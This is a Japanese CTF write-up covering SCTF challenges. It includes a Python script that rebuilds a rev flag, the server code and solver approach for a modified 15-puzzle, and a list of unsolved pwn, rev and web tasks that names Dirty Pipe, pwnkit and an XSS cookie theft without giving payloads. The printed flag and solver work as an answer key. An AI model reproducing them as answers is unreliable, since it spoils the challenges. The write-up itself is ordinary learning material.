変換した文字が全て\x00になっていればWRONGが表示されることは無さそうです。つまり、変換後が256になるような文字をそれぞれ見つければよいです。

idxes = [-1,-1,38,34,32,36,40,41,42,43,44,
            27,100,18,82,5,56,15,76,14,74,29,
            104,12,70,11,68,21,88,7,60,24,
            94,8,62,28,102,13,72,2,50,0
            ,46,4,54,22,90,10,66,3,52,20,
            86,19,84,6,58,16,78,1,48,17,80,
            26,98,25,96,23,92,9,64,99,1337,-1]
flag = [0] * 30

flag[idxes[12-1]] = (256 - 48)//2

flag[idxes[14-1]]=(256 - 66)//2

flag[idxes[16-1]]=(256 - 150)

flag[idxes[18-1]]=(256 - 36)//2

flag[idxes[20-1]]=(256 - 46)//2

flag[idxes[22-1]]=(256 - 131)

flag[idxes[24-1]]=(256 - 32)//2

flag[idxes[26-1]]=(256 - 161)

flag[idxes[28-1]]=(256 - 66)//2

flag[idxes[30-1]]=(256 - 26)//2

flag[idxes[32-1]]=(256 - 34)//2

flag[idxes[34-1]]=(256 - 140)

flag[idxes[36-1]]=(256 - 223)

flag[idxes[38-1]]=(256 - 28)//2

flag[idxes[40-1]]=(256 - 88)//2

flag[idxes[42-1]]=(256 - 90)//2

flag[idxes[44-1]]=(256 - 10)//2

flag[idxes[46-1]]=(256 - 155)

flag[idxes[48-1]]=(256 - 159)

flag[idxes[50-1]]=(256 - 116)//2

flag[idxes[52-1]]=(256 - 141)

flag[idxes[54-1]]=(256 - 151)

flag[idxes[56-1]]=(256 - 22)//2

flag[idxes[58-1]]=(256 - 140)

flag[idxes[60-1]]=(256 - 122)//2

flag[idxes[62-1]]=(256 - 154)

flag[idxes[64-1]]=(256 - 153)

flag[idxes[66-1]]=(256 - 22)//2

flag[idxes[68-1]]=(256 - 146)

flag[idxes[70-1]]=(256 - 66)//2

print(bytes(flag))

SCTF{just_a_printf_is_enough!}

[Misc] Flip Puzzle [15 solves]

15パズルを50秒以内に100問解けという問題です。ただし、少し条件があります。

  • 端も交換することができる(| 123|から|312 |にすることができる)

  • 操作(move)は11回以内。11回以内で解けることが保証されている。

具体的には以下のようなコードで動いています。

#!/usr/bin/env python3

import random
import os
import signal
import sys

LIMIT_TIME = 50
NUM_STAGE = 100
SHUFFLE_NUM = 11

def bye():
    print ("Bye~")
    sys.exit()

signal.signal(signal.SIGALRM, bye)
signal.alarm(LIMIT_TIME)

class Challenge:
    goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    xpos = 0
    ypos = 0
    dist = 0

    def init(self):
        self.status = self.goal

    def shuffle(self, num):
        options = [(0, +1), (0, -1), (+1, 0), (-1, 0)]
        for _ in range(num):
            dx, dy = random.choice(options)
            self.move(dx, dy)

    def move(self, dx, dy):
        assert abs(dx + dy) == 1
        assert dx == 0 or dy == 0
        arr = self.status.split(",")
        p1 = self.xpos * 4 + self.ypos
        xxpos = (self.xpos + dx + 4) % 4
        yypos = (self.ypos + dy + 4) % 4
        p2 = xxpos * 4 + yypos

        arr[p1], arr[p2] = arr[p2], arr[p1]
        self.xpos = xxpos
        self.ypos = yypos
        self.status = ",".join(arr)

    def ok(self):
        return self.goal == self.status

    def dump(self):
        arr = self.status.split(",")

        for i in range(0, 4):
            print ("".join(arr[i*4:i*4+4]))

for _ in range(NUM_STAGE):
    chall = Challenge()
    chall.shuffle(SHUFFLE_NUM)
    cnt = 0
    print("Current Status :")
    chall.dump()
    while chall.ok() == False:
        try:
            dx, dy = map(int, input(">>>").split(","))
            chall.move(dx, dy)
            cnt = cnt + 1
            if cnt > SHUFFLE_NUM:
                bye()
        except:
            bye()
    print ("Solved!")

print("SCTF{fake-flag}")

とりあえずネット上に転がっているソルバで解けないか試しましたが、11回以上の操作を出力されたりするので流石にそのままは使えませんでした。

次のURLにあるコードを以下の様に改造して解きました。

rosettacode.org

  • Position.neighbors()を端の移動に対応させる

  • path_as_0_moves()を端の移動に対応させる

  • マンハッタン距離を端も考慮して正しく計算させる

  • 解くたびにall_positionsを0にしないとバグる

  • 11回以上移動するパスは枝刈りする

これでソルバは十分に速くなりましたが、ネットワークの遅延でどうしても間に合いません。

試しに開いてたアプリを全部閉じてみると、遅延が多少短くなり制限時間に間に合うことができ、フラグを得られました。意外と効果があるんですね……

後で復習したい問題

  • [pwn] riscy

    RISC-VのROP。やったことないし理解に時間がかかりそうと思って飛ばしてしまった。

  • [rev] Crack Me!

    明らかにangr問なんだけどangrがうまく動かなかった。バージョン上げたら動くかなと思ったけど環境壊れて動かなくなったので諦めた。angrなんもわからん

  • [pwn] Super mario

    Dirty Pipeっぽい。後で見る

  • [pwn] pwnkit

    pkexecの脆弱性に不十分なパッチを当てた1-day問。user-landに近いので頑張れば解けそう

  • [web] Datascience Class

    Jupyter Notebookの1-day XSSなんだけどadmin cookieがrequestbinにうまく届かなかった。もうちょいデバッグしたら解けてた気がする。

感想

全体的に丁寧につくられている問題が多く楽しかったです。チーム戦の海外CTFで13位という順位は割と良いのでは…?(本腰で参加してなさそうだけど、r3kapigやProject Sekaiといったチームに勝っているのは嬉しい) 少なくとも自身は過去最高の順位です。

ただWebで無駄に時間を使ったところが多くpwn/revがあまり解けなかったので、効率よく解けるよう精進したいですね。Webの方が取り組みやすいのでついつい先にそっちを解いてしまう。